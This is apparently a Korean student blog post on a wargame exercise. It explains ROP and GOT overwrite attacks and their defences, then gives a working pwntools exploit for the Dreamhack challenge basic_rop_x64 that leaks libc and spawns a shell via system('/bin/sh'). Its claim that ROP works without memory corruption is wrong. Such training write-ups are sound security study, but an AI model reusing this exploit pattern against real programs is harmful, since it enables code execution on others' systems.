포너블 4차시 과제

ZLP042·2023년 9월 5일

ROP

악의적인 코드 실행을 위해 이미 존재하는 프로그램의 코드조각을 활용하는 공격기법중 하나다. 실행 가능한 메모리 영역에서 이루어지는 공격으로, 프로그램에서 호출 가능한 함수의 반환주소를 조작해버려서 다른 함수의 코드조각들을 실행하도록 만든다. 이런 코드 조각을 ROPGadget이라고 부르며, 재사용 가능한 코드 블록을 찾아서 연결하여 공격을 수행한다. 또한 메모리 손상이 없이 코드 실행을 조작하므로, 보안매커니즘을 우회하는데 사용된다

GOT Overwrite

공격자가 프로그램 메모리에 엑세스하고 GOT 테이블을 수정하여 프로그램 동작을 제어하려는 공격이다

프로그램 내부 또는 외부에서 취약점을 찾아내고, 이걸 통해 메모리를 읽거나 쓸 수 있게 된다. 또한 취약점을 통해서 GOT 테이블의 주소를 노출하고, 이를 통해 GOT를 조작할 수 있는 주소를 알게 된다. 이렇게 노출된 주소를 사용하여 원하는 함수 호출 또는 다른 코드 실행을 위해 GOT 항목을 수정한다. 이렇게 하면 공격자는 원하는 동작을 수행시킬 수 있다. 악의적인 함수또는 코드로 분기하도록 만들어서 원하는 동작을 수행시킬 수도 있는데, 공격자는 프로그램 흐름을 제어하거나, 시스템 리소스에 엑세스할 수 있게 된다

방어방법

Address Space Layout Randomization를 통해 메모리 주소를 무작위하여 GOT 주소를 노출하기 어렵게 만든다 Data Execution Prevention/No-Execute를 통해 실행 가능한 영역과 불가능한 메모리 영역을 분리하여 악성코드의 실행을 방지한다. 아니면 Read-Only GOT을 통해 GOT 자체를 읽기 전용으로 만들어서 Overwrite를 방지할 수도 있다. Control FLow Integrity는 프로그램의 실행흐름을 제어하고 예상치 못한 함수 호출을 방지하여 Overwrite를 어렵게 한다

Dreamhack basic_rop_x64

from pwn import *

p = process('./for_user/basic_rop_x64')
e = ELF('./for_user/basic_rop_x64')
libc = ELF('./for_user/libc.so.6')
pr = 0x0000000000400883
prr = 0x0000000000400881
main = 0x4007ba
wp = e.plt['write']
wg = e.got['write']
payload = (b'A'*0x48)+p64(prr)+p64(wg)+p64(0)+p64(wp)+p64(main)
p.send(payload)
p.recvn(0x40)
lb = u64(p.recvn(8)) - libc.sym['write']
p.send(b'A'*0x48 + p64(pr) + p64(lb + list(libc.search(b'/bin/sh'))[0]) + p64(lb + libc.sym['system']))
p.interactive()

ROPGadget으로 pr과 prr를 구하고, main은 그냥 pwndbg로 b *main 실행해서 알아냈다.

0개의 댓글